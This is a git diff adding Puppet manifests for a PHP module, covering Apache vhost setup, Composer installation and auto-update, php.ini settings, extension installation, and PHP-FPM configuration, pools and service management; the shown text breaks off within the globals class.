b/modules/utilities/unix/web_frameworks/php/manifests/apache_vhost.pp @@ -0,0 +1,35 @@ +# Configures an apache vhost for php +# +# === Parameters +# +# [*vhost*] +# The vhost address +# +# [*docroot*] +# The vhost docroot +# +# [*port*] +# The vhost port +# +# [*default_vhost*] +# defines if vhost is the default vhost +# +# [*fastcgi_socket*] +# address of the fastcgi socket +# +define php::apache_vhost( + $vhost = 'example.com', + $docroot = '/var/www', + $port = 80, + $default_vhost = true, + $fastcgi_socket = 'fcgi://127.0.0.1:9000/$1' +) { + + ::apache::vhost { $vhost: + docroot => $docroot, + default_vhost => $default_vhost, + port => $port, + override => 'all', + custom_fragment => "ProxyPassMatch ^/(.*\\.php(/.*)?)$ ${fastcgi_socket}", + } +} diff --git a/modules/utilities/unix/web_frameworks/php/manifests/cli.pp b/modules/utilities/unix/web_frameworks/php/manifests/cli.pp new file mode 100644 index 000000000..61ca93bb8 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/manifests/cli.pp @@ -0,0 +1,26 @@ +# Install and configure php CLI +# +# === Parameters +# +# [*inifile*] +# The path to the ini php5-cli ini file +# +# [*settings*] +# Hash with nested hash of key => value to set in inifile +# +class php::cli( + Stdlib::Absolutepath $inifile = $::php::params::cli_inifile, + Hash $settings = {} +) inherits ::php::params { + + if $caller_module_name != $module_name { + warning('php::cli is private') + } + + $real_settings = deep_merge($settings, hiera_hash('php::cli::settings', {})) + + ::php::config { 'cli': + file => $inifile, + config => $real_settings, + } +} diff --git a/modules/utilities/unix/web_frameworks/php/manifests/composer.pp b/modules/utilities/unix/web_frameworks/php/manifests/composer.pp new file mode 100644 index 000000000..807129770 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/manifests/composer.pp @@ -0,0 +1,61 @@ +# Install composer package manager +# +# === Parameters +# +# [*source*] +# Holds URL to the Composer source file +# +# [*path*] +# Holds path to the Composer executable +# +# [*proxy_type*] +# proxy server type (none|http|https|ftp) +# +# [*proxy_server*] +# specify a proxy server, with port number if needed. ie: https://example.com:8080. +# +# [*auto_update*] +# Defines if composer should be auto updated +# +# [*max_age*] +# Defines the time in days after which an auto-update gets executed +# +# [*root_group*] +# UNIX group of the root user +# +class php::composer ( + String $source = $::php::params::composer_source, + Stdlib::Absolutepath $path = $::php::params::composer_path, + $proxy_type = undef, + $proxy_server = undef, + Boolean $auto_update = true, + Integer $max_age = $::php::params::composer_max_age, + Variant[Integer, String] $root_group = $::php::params::root_group, +) inherits ::php::params { + + if $caller_module_name != $module_name { + warning('php::composer is private') + } + + archive { 'download composer': + path => $path, + source => $source, + proxy_type => $proxy_type, + proxy_server => $proxy_server, + } + -> file { $path: + mode => '0555', + owner => root, + group => $root_group, + } + + if $auto_update { + class { '::php::composer::auto_update': + max_age => $max_age, + source => $source, + path => $path, + proxy_type => $proxy_type, + proxy_server => $proxy_server, + } + } +} diff --git a/modules/utilities/unix/web_frameworks/php/manifests/composer/auto_update.pp b/modules/utilities/unix/web_frameworks/php/manifests/composer/auto_update.pp new file mode 100644 index 000000000..a60b765ae --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/manifests/composer/auto_update.pp @@ -0,0 +1,54 @@ +# Install composer package manager +# +# === Parameters +# +# [*max_age*] +# Defines number of days after which Composer should be updated +# +# [*source*] +# Holds URL to the Composer source file +# +# [*path*] +# Holds path to the Composer executable +# +# [*proxy_type*] +# proxy server type (none|http|https|ftp) +# +# [*proxy_server*] +# specify a proxy server, with port number if needed. ie: https://example.com:8080. +# +# +# === Examples +# +# include php::composer::auto_update +# class { "php::composer::auto_update": +# "max_age" => 90 +# } +# +class php::composer::auto_update ( + $max_age, + $source, + $path, + $proxy_type = undef, + $proxy_server = undef, +) { + + if $caller_module_name != $module_name { + warning('php::composer::auto_update is private') + } + + if $proxy_type and $proxy_server { + $env = [ 'HOME=/root', "${proxy_type}_proxy=${proxy_server}" ] + } else { + $env = [ 'HOME=/root' ] + } + + exec { 'update composer': + # touch binary when an update is attempted to update its mtime for idempotency when no update is available + command => "${path} --no-interaction --quiet self-update; touch ${path}", + environment => $env, + onlyif => "test `find '${path}' -mtime +${max_age}`", + path => [ '/bin/', '/sbin/' , '/usr/bin/', '/usr/sbin/', '/usr/local/bin', '/usr/local/sbin' ], + require => [File[$path], Class['::php::cli']], + } +} diff --git a/modules/utilities/unix/web_frameworks/php/manifests/config.pp b/modules/utilities/unix/web_frameworks/php/manifests/config.pp new file mode 100644 index 000000000..f7c47f22d --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/manifests/config.pp @@ -0,0 +1,32 @@ +# Configure php.ini settings for a PHP SAPI +# +# === Parameters +# +# [*file*] +# The path to ini file +# +# [*config*] +# Nested hash of key => value to apply to php.ini +# +# === Examples +# +# php::config { '$unique-name': +# file => '$full_path_to_ini_file' +# config => { +# {'Date/date.timezone' => 'Europe/Berlin'} +# } +# } +# +define php::config( + Stdlib::Absolutepath $file, + Hash $config +) { + + if $caller_module_name != $module_name { + warning('php::config is private') + } + + create_resources(::php::config::setting, to_hash_settings($config, $file), { + file => $file + }) +} diff --git a/modules/utilities/unix/web_frameworks/php/manifests/config/setting.pp b/modules/utilities/unix/web_frameworks/php/manifests/config/setting.pp new file mode 100644 index 000000000..44439d388 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/manifests/config/setting.pp @@ -0,0 +1,53 @@ +# Configure php.ini settings +# +# === Parameters +# +# [*key*] +# The key of the value, like `ini_setting` +# +# [*file*] +# The path to ini file +# +# [*value*] +# The value to set +# +# === Examples +# +# php::config::setting { 'Date/date.timezone': +# file => '$full_path_to_ini_file' +# value => 'Europe/Berlin' +# } +# +define php::config::setting( + $key, + $value, + Stdlib::Absolutepath $file, +) { + + if $caller_module_name != $module_name { + warning('php::config::setting is private') + } + + $split_name = split($key, '/') + if count($split_name) == 1 { + $section = '' # lint:ignore:empty_string_assignment + $setting = $split_name[0] + } else { + $section = $split_name[0] + $setting = $split_name[1] + } + + if $value == undef { + $ensure = 'absent' + } else { + $ensure = 'present' + } + + ini_setting { $name: + ensure => $ensure, + value => $value, + path => $file, + section => $section, + setting => $setting, + } +} diff --git a/modules/utilities/unix/web_frameworks/php/manifests/dev.pp b/modules/utilities/unix/web_frameworks/php/manifests/dev.pp new file mode 100644 index 000000000..4ebc2b2ad --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/manifests/dev.pp @@ -0,0 +1,48 @@ +# Install the development package with headers for PHP +# +# === Parameters +# +# [*ensure*] +# The PHP ensure of PHP dev to install +# +# [*package*] +# The package name for the PHP development files +# +class php::dev( + String $ensure = $::php::ensure, + String $package = "${::php::package_prefix}${::php::params::dev_package_suffix}", + Boolean $manage_repos = $php::manage_repos, +) inherits ::php::params { + + if $caller_module_name != $module_name { + warning('php::dev is private') + } + + # On FreeBSD there is no 'devel' package. + $real_package = $facts['os']['family'] ? { + 'FreeBSD' => [], + default => $package, + } + + if $facts['os']['family'] == 'Debian' { + # we can set the dependency only if we manage repos + $require = $manage_repos ? { + true => Class['::apt::update'], + false => undef, + } + } else { + $require = undef + } + + # Default PHP come with xml module and no seperate package for it + if $facts['os']['name'] == 'Ubuntu' and versioncmp($facts['os']['release']['full'], '16.04') >= 0 { + ensure_packages(["${php::package_prefix}xml"], { + ensure => present, + require => $require, + }) + } + package { $real_package: + ensure => $ensure, + require => Class['::php::packages'], + } +} diff --git a/modules/utilities/unix/web_frameworks/php/manifests/embedded.pp b/modules/utilities/unix/web_frameworks/php/manifests/embedded.pp new file mode 100644 index 000000000..5c40ee52b --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/manifests/embedded.pp @@ -0,0 +1,47 @@ +# Install and configure php embedded SAPI +# +# === Parameters +# +# [*inifile*] +# The path to the ini php5-embeded ini file +# +# [*settings*] +# Hash with nested hash of key => value to set in inifile +# +# [*package*] +# Specify which package to install +# +# [*ensure*] +# Specify which version of the package to install +# +class php::embedded( + String $ensure = $::php::ensure, + String $package = "${::php::package_prefix}${::php::params::embedded_package_suffix}", + Stdlib::Absolutepath $inifile = $::php::params::embedded_inifile, + Hash $settings = {}, +) inherits ::php::params { + + if $caller_module_name != $module_name { + warning('php::embedded is private') + } + + $real_settings = deep_merge( + $settings, + hiera_hash('php::embedded::settings', {}) + ) + + $real_package = $facts['os']['family'] ? { + 'Debian' => "lib${package}", + default => $package, + } + + package { $real_package: + ensure => $ensure, + require => Class['::php::packages'], + } + -> ::php::config { 'embedded': + file => $inifile, + config => $real_settings, + } + +} diff --git a/modules/utilities/unix/web_frameworks/php/manifests/extension.pp b/modules/utilities/unix/web_frameworks/php/manifests/extension.pp new file mode 100644 index 000000000..313054ac5 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/manifests/extension.pp @@ -0,0 +1,109 @@ +# Install a PHP extension package +# +# === Parameters +# +# [*ensure*] +# The ensure of the package to install +# Could be "latest", "installed" or a pinned version +# +# [*package_prefix*] +# Prefix to prepend to the package name for the package provider +# +# [*provider*] +# The provider used to install the package +# Could be "pecl", "apt", "dpkg" or any other OS package provider +# If set to "none", no package will be installed +# +# [*source*] +# The source to install the extension from. Possible values +# depend on the *provider* used +# +# [*so_name*] +# The DSO name of the package (e.g. opcache for zendopcache) +# +# [*ini_prefix*] +# An optional filename prefix for the settings file of the extension +# +# [*php_api_version*] +# This parameter is used to build the full path to the extension +# directory for zend_extension in PHP < 5.5 (e.g. 20100525) +# +# [*header_packages*] +# System packages dependencies to install for extensions (e.g. for +# memcached libmemcached-dev on Debian) +# +# [*compiler_packages*] +# System packages dependencies to install for compiling extensions +# (e.g. build-essential on Debian) +# +# [*zend*] +# Boolean parameter, whether to load extension as zend_extension. +# Defaults to false. +# +# [*settings*] +# Nested hash of global config parameters for php.ini +# +# [*settings_prefix*] +# Boolean/String parameter, whether to prefix all setting keys with +# the extension name or specified name. Defaults to false. +# +# [*sapi*] +# String parameter, whether to specify ALL sapi or a specific sapi. +# Defaults to ALL. +# +# [*responsefile*] +# File containing answers for interactive extension setup. Supported +# *providers*: pear, pecl. +# +# [*install_options*] +# Array of String or Hash options to pass to the provider. +# +define php::extension ( + String $ensure = 'installed', + Optional[Php::Provider] $provider = undef, + Optional[String] $source = undef, + Optional[String] $so_name = downcase($name), + Optional[String] $ini_prefix = undef, + Optional[String] $php_api_version = undef, + String $package_prefix = $::php::package_prefix, + Boolean $zend = false, + Hash $settings = {}, + Php::Sapi $sapi = 'ALL', + Variant[Boolean, String] $settings_prefix = false, + Optional[Stdlib::AbsolutePath] $responsefile = undef, + Variant[String, Array[String]] $header_packages = [], + Variant[String, Array[String]] $compiler_packages = $::php::params::compiler_packages, + Php::InstallOptions $install_options = undef, +) { + + if ! defined(Class['php']) { + warning('php::extension is private') + } + + php::extension::install { $title: + ensure => $ensure, + provider => $provider, + source => $source, + responsefile => $responsefile, + package_prefix => $package_prefix, + header_packages => $header_packages, + compiler_packages => $compiler_packages, + install_options => $install_options, + } + + # PEAR packages don't require any further configuration, they just need to "be there". + if $provider != 'pear' { + php::extension::config { $title: + ensure => $ensure, + provider => $provider, + so_name => $so_name, + ini_prefix => $ini_prefix, + php_api_version => $php_api_version, + zend => $zend, + settings => $settings, + settings_prefix => $settings_prefix, + sapi => $sapi, + subscribe => Php::Extension::Install[$title], + } + } +} diff --git a/modules/utilities/unix/web_frameworks/php/manifests/extension/config.pp b/modules/utilities/unix/web_frameworks/php/manifests/extension/config.pp new file mode 100644 index 000000000..5a2a45177 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/manifests/extension/config.pp @@ -0,0 +1,120 @@ +# Configure a PHP extension package +# +# === Parameters +# +# [*ensure*] +# The ensure of the package to install +# Could be "latest", "installed" or a pinned version +# +# [*provider*] +# The provider used to install the package +# Could be "pecl", "apt", "dpkg" or any other OS package provider +# If set to "none", no package will be installed +# +# [*so_name*] +# The DSO name of the package (e.g. opcache for zendopcache) +# +# [*ini_prefix*] +# An optional filename prefix for the settings file of the extension +# +# [*php_api_version*] +# This parameter is used to build the full path to the extension +# directory for zend_extension in PHP < 5.5 (e.g. 20100525) +# +# [*header_packages*] +# System packages dependencies to install for extensions (e.g. for +# memcached libmemcached-dev on Debian) +# +# [*compiler_packages*] +# System packages dependencies to install for compiling extensions +# (e.g. build-essential on Debian) +# +# [*zend*] +# Boolean parameter, whether to load extension as zend_extension. +# Defaults to false. +# +# [*settings*] +# Nested hash of global config parameters for php.ini +# +# [*settings_prefix*] +# Boolean/String parameter, whether to prefix all setting keys with +# the extension name or specified name. Defaults to false. +# +# [*sapi*] +# String parameter, whether to specify ALL sapi or a specific sapi. +# Defaults to ALL. +# +define php::extension::config ( + String $ensure = 'installed', + Optional[Php::Provider] $provider = undef, + Optional[String] $so_name = downcase($name), + Optional[String] $ini_prefix = undef, + Optional[String] $php_api_version = undef, + Boolean $zend = false, + Hash $settings = {}, + Variant[Boolean, String] $settings_prefix = false, + Php::Sapi $sapi = 'ALL', +) { + + if ! defined(Class['php']) { + warning('php::extension::config is private') + } + + if $zend == true { + $extension_key = 'zend_extension' + $module_path = $php_api_version? { + undef => undef, + default => "/usr/lib/php5/${php_api_version}/", + } + } else { + $extension_key = 'extension' + $module_path = undef + } + + $ini_name = downcase($so_name) + + # Ensure "." prefix is present in setting keys if requested + $full_settings = $settings_prefix? { + true => ensure_prefix($settings, "${so_name}."), + false => $settings, + String => ensure_prefix($settings, "${settings_prefix}."), + } + + if $provider != 'pear' { + $final_settings = deep_merge( + {"${extension_key}" => "${module_path}${so_name}.so"}, + $full_settings + ) + } else { + $final_settings = $full_settings + } + + $config_root_ini = pick_default($::php::config_root_ini, $::php::params::config_root_ini) + ::php::config { $title: + file => "${config_root_ini}/${ini_prefix}${ini_name}.ini", + config => $final_settings, + } + + # Ubuntu/Debian systems use the mods-available folder. We need to enable + # settings files ourselves with php5enmod command. + $ext_tool_enable = pick_default($::php::ext_tool_enable, $::php::params::ext_tool_enable) + $ext_tool_query = pick_default($::php::ext_tool_query, $::php::params::ext_tool_query) + $ext_tool_enabled = pick_default($::php::ext_tool_enabled, $::php::params::ext_tool_enabled) + + if $facts['os']['family'] == 'Debian' and $ext_tool_enabled { + $cmd = "${ext_tool_enable} -s ${sapi} ${so_name}" + + $_sapi = $sapi? { + 'ALL' => 'cli', + default => $sapi, + } + exec { $cmd: + onlyif => "${ext_tool_query} -s ${_sapi} -m ${so_name} | /bin/grep 'No module matches ${so_name}'", + require => ::Php::Config[$title], + } + + if $::php::fpm { + Package[$::php::fpm::package] ~> Exec[$cmd] + } + } +} diff --git a/modules/utilities/unix/web_frameworks/php/manifests/extension/install.pp b/modules/utilities/unix/web_frameworks/php/manifests/extension/install.pp new file mode 100644 index 000000000..47795e004 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/manifests/extension/install.pp @@ -0,0 +1,90 @@ +# Install a PHP extension package +# +# === Parameters +# +# [*ensure*] +# The ensure of the package to install +# Could be "latest", "installed" or a pinned version +# +# [*package_prefix*] +# Prefix to prepend to the package name for the package provider +# +# [*provider*] +# The provider used to install the package +# Could be "pecl", "apt", "dpkg" or any other OS package provider +# If set to "none", no package will be installed +# +# [*source*] +# The source to install the extension from. Possible values +# depend on the *provider* used +# +# [*header_packages*] +# System packages dependencies to install for extensions (e.g. for +# memcached libmemcached-dev on Debian) +# +# [*compiler_packages*] +# System packages dependencies to install for compiling extensions +# (e.g. build-essential on Debian) +# +# [*responsefile*] +# File containing answers for interactive extension setup. Supported +# *providers*: pear, pecl. +# +# [*install_options*] +# Array of String or Hash options to pass to the provider. +# +define php::extension::install ( + String $ensure = 'installed', + Optional[Php::Provider] $provider = undef, + Optional[String] $source = undef, + String $package_prefix = $::php::package_prefix, + Optional[Stdlib::AbsolutePath] $responsefile = undef, + Variant[String, Array[String]] $header_packages = [], + Variant[String, Array[String]] $compiler_packages = $::php::params::compiler_packages, + Php::InstallOptions $install_options = undef, +) { + + if ! defined(Class['php']) { + warning('php::extension::install is private') + } + + case $provider { + /pecl|pear/: { + $real_package = $title + + unless empty($header_packages) { + ensure_resource('package', $header_packages) + Package[$header_packages] -> Package[$real_package] + } + unless empty($compiler_packages) { + ensure_resource('package', $compiler_packages) + Package[$compiler_packages] -> Package[$real_package] + } + + $package_require = [ + Class['::php::pear'], + Class['::php::dev'], + ] + } + + 'none' : { + debug("No package installed for php::extension: `${title}`.") + } + + default: { + $real_package = "${package_prefix}${title}" + $package_require = undef + } + } + + unless $provider == 'none' { + package { $real_package: + ensure => $ensure, + provider => $provider, + source => $source, + responsefile => $responsefile, + install_options => $install_options, + require => $package_require, + } + } +} diff --git a/modules/utilities/unix/web_frameworks/php/manifests/fpm.pp b/modules/utilities/unix/web_frameworks/php/manifests/fpm.pp new file mode 100644 index 000000000..4b22d9b0d --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/manifests/fpm.pp @@ -0,0 +1,121 @@ +# Install and configure mod_php for fpm +# +# === Parameters +# +# [*user*] +# The user that php-fpm should run as +# +# [*group*] +# The group that php-fpm should run as +# +# [*service_enable*] +# Enable/disable FPM service +# +# [*service_ensure*] +# Ensure FPM service is either 'running' or 'stopped' +# +# [*service_name*] +# This is the name of the php-fpm service. It defaults to reasonable OS +# defaults but can be different in case of using php7.0/other OS/custom fpm service +# +# [*service_provider*] +# This is the name of the service provider, in case there is a non +# OS default service provider used to start FPM. +# Defaults to 'undef', pick system defaults. +# +# [*pools*] +# Hash of php::fpm::pool resources that will be created. Defaults +# to a single php::fpm::pool named www with default parameters. +# +# [*log_owner*] +# The php-fpm log owner +# +# [*log_group*] +# The group owning php-fpm logs +# +# [*package*] +# Specify which package to install +# +# [*ensure*] +# Specify which version of the package to install +# +# [*inifile*] +# Path to php.ini for fpm +# +# [*settings*] +# fpm settings hash +# +# [*global_pool_settings*] +# Hash of defaults params php::fpm::pool resources that will be created. +# Defaults is empty hash. +# +class php::fpm ( + String $ensure = $::php::ensure, + $user = $::php::fpm_user, + $group = $::php::fpm_group, + $service_ensure = $::php::fpm_service_ensure, + $service_enable = $::php::fpm_service_enable, + $service_name = $::php::fpm_service_name, + $service_provider = $::php::fpm_service_provider, + String $package = $::php::real_fpm_package, + Stdlib::Absolutepath $inifile = $::php::fpm_inifile, + Hash $settings = $::php::real_settings, + $global_pool_settings = $::php::real_fpm_global_pool_settings, + Hash $pools = $::php::real_fpm_pools, + $log_owner = $::php::log_owner, + $log_group = $::php::log_group, +) { + + if ! defined(Class['php']) { + warning('php::fpm is private') + } + + $real_settings = deep_merge($settings, hiera_hash('php::fpm::settings', {})) + + # On FreeBSD fpm is not a separate package, but included in the 'php' package. + # Implies that the option SET+=FPM was set when building the port. + $real_package = $facts['os']['family'] ? { + 'FreeBSD' => [], + default => $package, + } + + package { $real_package: + ensure => $ensure, + require => Class['::php::packages'], + } + + class { '::php::fpm::config': + user => $user, + group => $group, + inifile => $inifile, + settings => $real_settings, + log_owner => $log_owner, + log_group => $log_group, + require => Package[$real_package], + } + contain '::php::fpm::config' + contain '::php::fpm::service' + + Class['php::fpm::config'] ~> Class['php::fpm::service'] + + $real_global_pool_settings = hiera_hash('php::fpm::global_pool_settings', $global_pool_settings) + $real_pools = hiera_hash('php::fpm::pools', $pools) + create_resources(::php::fpm::pool, $real_pools, $real_global_pool_settings) + + # Create an override to use a reload signal as trusty and utopic's + # upstart version supports this + if ($facts['os']['name'] == 'Ubuntu' + and versioncmp($facts['os']['release']['full'], '14') >= 0 + and versioncmp($facts['os']['release']['full'], '16') < 0) { + if ($service_enable) { + $fpm_override = 'reload signal USR2' + } + else { + $fpm_override = "reload signal USR2\nmanual" + } + file { "/etc/init/${::php::fpm::service::service_name}.override": + content => $fpm_override, + before => Package[$real_package], + } + } +} diff --git a/modules/utilities/unix/web_frameworks/php/manifests/fpm/config.pp b/modules/utilities/unix/web_frameworks/php/manifests/fpm/config.pp new file mode 100644 index 000000000..691869078 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/manifests/fpm/config.pp @@ -0,0 +1,134 @@ +# Configure php-fpm service +# +# === Parameters +# +# [*config_file*] +# The path to the fpm config file +# +# [*user*] +# The user that runs php-fpm +# +# [*group*] +# The group that runs php-fpm +# +# [*inifile*] +# The path to ini file +# +# [*settings*] +# Nested hash of key => value to apply to php.ini +# +# [*pool_base_dir*] +# The folder that contains the php-fpm pool configs +# +# [*pool_purge*] +# Whether to purge pool config files not created +# by this module +# +# [*error_log*] +# Path to error log file. If it's set to "syslog", log is +# sent to syslogd instead of being written in a local file. +# +# [*log_level*] +# The php-fpm log level +# +# [*emergency_restart_threshold*] +# The php-fpm emergency_restart_threshold +# +# [*emergency_restart_interval*] +# The php-fpm emergency_restart_interval +# +# [*process_control_timeout*] +# The php-fpm process_control_timeout +# +# [*process_max*] +# The maximum number of processes FPM will fork. +# +# [*rlimit_files*] +# Set open file descriptor rlimit for the master process. +# +# [*systemd_interval*] +# The interval between health report notification to systemd +# +# [*log_owner*] +# The php-fpm log owner +# +# [*log_group*] +# The group owning php-fpm logs +# +# [*log_dir_mode*] +# The octal mode of the directory +# +# [*syslog_facility*] +# Used to specify what type of program is logging the message +# +# [*syslog_ident*] +# Prepended to every message +# +# [*root_group*] +# UNIX group of the root user +# +# [*pid_file*] +# Path to fpm pid file +# +class php::fpm::config( + $config_file = $::php::params::fpm_config_file, + String $user = $::php::params::fpm_user, + String $group = $::php::params::fpm_group, + String $inifile = $::php::params::fpm_inifile, + $pid_file = $::php::params::fpm_pid_file, + Hash $settings = {}, + Stdlib::Absolutepath $pool_base_dir = $::php::params::fpm_pool_dir, + $pool_purge = false, + String $error_log = $::php::params::fpm_error_log, + String $log_level = 'notice', + Integer $emergency_restart_threshold = 0, + Variant[Integer, Pattern[/^\d+[smhd]?$/]] $emergency_restart_interval = 0, + Variant[Integer, Pattern[/^\d+[smhd]?$/]] $process_control_timeout = 0, + Integer $process_max = 0, + $rlimit_files = undef, + Optional[Variant[Integer,Pattern[/^\d+[smhd]?$/]]] $systemd_interval = undef, + String $log_owner = $::php::params::fpm_user, + String $log_group = $::php::params::fpm_group, + Pattern[/^\d+$/] $log_dir_mode = '0770', + $root_group = $::php::params::root_group, + String $syslog_facility = 'daemon', + String $syslog_ident = 'php-fpm', +) inherits ::php::params { + + if $caller_module_name != $module_name { + warning('php::fpm::config is private') + } + + # Hack-ish to default to user for group too + $log_group_final = $log_group ? { + undef => $log_owner, + default => $log_group, + } + + file { $config_file: + ensure => file, + content => template('php/fpm/php-fpm.conf.erb'), + owner => root, + group => $root_group, + mode => '0644', + } + + file { $pool_base_dir: + ensure => directory, + owner => root, + group => $root_group, + mode => '0755', + } + + if $pool_purge { + File[$pool_base_dir] { + purge => true, + recurse => true, + } + } + + ::php::config { 'fpm': + file => $inifile, + config => $settings, + } +} diff --git a/modules/utilities/unix/web_frameworks/php/manifests/fpm/pool.pp b/modules/utilities/unix/web_frameworks/php/manifests/fpm/pool.pp new file mode 100644 index 000000000..d765e037b --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/manifests/fpm/pool.pp @@ -0,0 +1,199 @@ +# Configure fpm pools +# +# === Parameters +# +# See the official php-fpm documentation for parameters that are not +# documented here: http://php.net/manual/en/install.fpm.configuration.php. +# +# [*ensure*] +# Remove pool if set to `'absent'`, add otherwise +# +# [*listen*] +# On what socket to listen for FastCGI connections, i.e. +# `'127.0.0.1:9000'' or `'/var/run/php5-fpm.sock'` +# +# [*listen_backlog*] +# +# [*listen_allowed_clients*] +# +# [*listen_owner*] +# Set owner of the Unix socket +# +# [*listen_group*] +# Set the group of the Unix socket +# +# [*listen_mode*] +# +# [*user*] +# The user that php-fpm should run as +# +# [*group*] +# The group that php-fpm should run as +# +# [*pm*] +# +# [*pm_max_children*] +# +# [*pm_start_servers*] +# +# [*pm_min_spare_servers*] +# +# [*pm_max_spare_servers*] +# +# [*pm_max_requests*] +# +# [*pm_process_idle_timeout*] +# +# [*pm_status_path*] +# +# [*ping_path*] +# +# [*ping_response*] +# +# [*access_log*] +# The path to the file to write access log requests to +# +# [*access_log_format*] +# The format to save the access log entries as +# +# [*request_terminate_timeout*] +# +# [*request_slowlog_timeout*] +# +# [*security_limit_extensions*] +# +# [*slowlog*] +# +# [*template*] +# The template to use for the pool +# +# [*rlimit_files*] +# +# [*rlimit_core*] +# +# [*chroot*] +# +# [*chdir*] +# +# [*catch_workers_output*] +# +# [*include*] +# Other configuration files to include on this pool +# +# [*env*] +# List of environment variables that are passed to the php-fpm from the +# outside and will be available to php scripts in this pool +# +# [*env_value*] +# Hash of environment variables and values as strings to use in php +# scripts in this pool +# +# [*options*] +# An optional hash for any other data. +# +# [*php_value*] +# Hash of php_value directives +# +# [*php_flag*] +# Hash of php_flag directives +# +# [*php_admin_value*] +# Hash of php_admin_value directives +# +# [*php_admin_flag*] +# Hash of php_admin_flag directives +# +# [*php_directives*] +# List of custom directives that are appended to the pool config +# +# [*root_group*] +# UNIX group of the root user +# +# [*base_dir*] +# The folder that contains the php-fpm pool configs. This defaults to a +# sensible default depending on your operating system, like +# '/etc/php5/fpm/pool.d' or '/etc/php-fpm.d' +# +define php::fpm::pool ( + $ensure = 'present', + $listen = '127.0.0.1:9000', + $listen_backlog = '-1', + $listen_allowed_clients = undef, + $listen_owner = undef, + $listen_group = undef, + $listen_mode = undef, + $user = $::php::fpm::config::user, + $group = $::php::fpm::config::group, + $pm = 'dynamic', + $pm_max_children = '50', + $pm_start_servers = '5', + $pm_min_spare_servers = '5', + $pm_max_spare_servers = '35', + $pm_max_requests = '0', + $pm_process_idle_timeout = '10s', + $pm_status_path = undef, + $ping_path = undef, + $ping_response = 'pong', + $access_log = undef, + $access_log_format = '"%R - %u %t \"%m %r\" %s"', + $request_terminate_timeout = '0', + $request_slowlog_timeout = '0', + $security_limit_extensions = undef, + $slowlog = "/var/log/php-fpm/${name}-slow.log", + $template = 'php/fpm/pool.conf.erb', + $rlimit_files = undef, + $rlimit_core = undef, + $chroot = undef, + $chdir = undef, + $catch_workers_output = 'no', + $include = undef, + $env = [], + $env_value = {}, + $options = {}, + $php_value = {}, + $php_flag = {}, + $php_admin_value = {}, + $php_admin_flag = {}, + $php_directives = [], + $root_group = $::php::params::root_group, + Optional[Stdlib::Absolutepath] $base_dir = undef, +) { + + # The base class must be included first because it is used by parameter defaults + if ! defined(Class['php']) { + warning('You must include the php base class before using any php defined resources') + } + + $pool = $title + + # Hack-ish to default to user for group too + $group_final = $group ? { + undef => $user, + default => $group + } + + # On FreeBSD fpm is not a separate package, but included in the 'php' package. + # Implies that the option SET+=FPM was set when building the port. + $real_package = $facts['os']['name'] ? { + 'FreeBSD' => [], + default => $::php::fpm::package, + } + + $pool_base_dir = pick_default($base_dir, $::php::fpm::config::pool_base_dir, $::php::params::fpm_pool_dir) + if ($ensure == 'absent') { + file { "${pool_base_dir}/${pool}.conf": + ensure => absent, + notify => Class['::php::fpm::service'], + } + } else { + file { "${pool_base_dir}/${pool}.conf": + ensure => file, + notify => Class['::php::fpm::service'], + require => Package[$real_package], + content => template($template), + owner => root, + group => $root_group, + mode => '0644', + } + } +} diff --git a/modules/utilities/unix/web_frameworks/php/manifests/fpm/service.pp b/modules/utilities/unix/web_frameworks/php/manifests/fpm/service.pp new file mode 100644 index 000000000..d9748a4de --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/manifests/fpm/service.pp @@ -0,0 +1,50 @@ +# Manage fpm service +# +# === Parameters +# +# [*service_name*] +# name of the php-fpm service +# +# [*ensure*] +# 'ensure' value for the service +# +# [*enable*] +# Defines if the service is enabled +# +# [*provider*] +# Defines if the service provider to use +# +class php::fpm::service( + $service_name = $::php::fpm::service_name, + $ensure = $::php::fpm::service_ensure, + $enable = $::php::fpm::service_enable, + $provider = $::php::fpm::service_provider, +) { + + if ! defined(Class['php::fpm']) { + warning('php::fpm::service is private') + } + + $reload = "service ${service_name} reload" + + if ($facts['os']['name'] == 'Ubuntu' + and versioncmp($facts['os']['release']['full'], '12') >= 0 + and versioncmp($facts['os']['release']['full'], '14') < 0) { + # Precise upstart doesn't support reload signals, so use + # regular service restart instead + $restart = undef + } else { + $restart = $reload + } + + service { $service_name: + ensure => $ensure, + enable => $enable, + provider => $provider, + hasrestart => true, + restart => $restart, + hasstatus => true, + } + + ::Php::Extension <| |> ~> Service[$service_name] +} diff --git a/modules/utilities/unix/web_frameworks/php/manifests/global.pp b/modules/utilities/unix/web_frameworks/php/manifests/global.pp new file mode 100644 index 000000000..dd35f186d --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/manifests/global.pp @@ -0,0 +1,30 @@ +# Install and configure mod_php for fpm +# +# === Parameters +# +# [*inifile*] +# Absolute path to the global php.ini file. Defaults +# to the OS specific default location as defined in params. +# [*settings*] +# Hash of settings to apply to the global php.ini file. +# Defaults to OS specific defaults (i.e. add nothing) +# + +# +class php::global( + Stdlib::Absolutepath $inifile = $::php::config_root_inifile, + Hash $settings = {} +) inherits ::php { + + if $caller_module_name != $module_name { + warning('php::global is private') + } + + # No deep merging required since the settings we have are the global settings. + $real_settings = $settings + + ::php::config { 'global': + file => $inifile, + config => $real_settings, + } +} diff --git a/modules/utilities/unix/web_frameworks/php/manifests/globals.pp b/modules/utilities/unix/web_frameworks/php/manifests/globals.pp new file mode 100644 index 000000000..a2fbcf11e --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/manifests/globals.pp @@ -0,0 +1,126 @@ +# PHP globals class +# +# === Parameters +# +# [*php_version*] +# The version of php. +# +# [*config_root*] +# The configuration root directory. +# +# [*fpm_pid_file*] +# Path to pid file for fpm + +class php::globals ( + Optional[Pattern[/^[57].[0-9]/]] $php_version = undef, + Optional[Stdlib::Absolutepath] $config_root = undef, + Optional[Stdlib::Absolutepath] $fpm_pid_file = 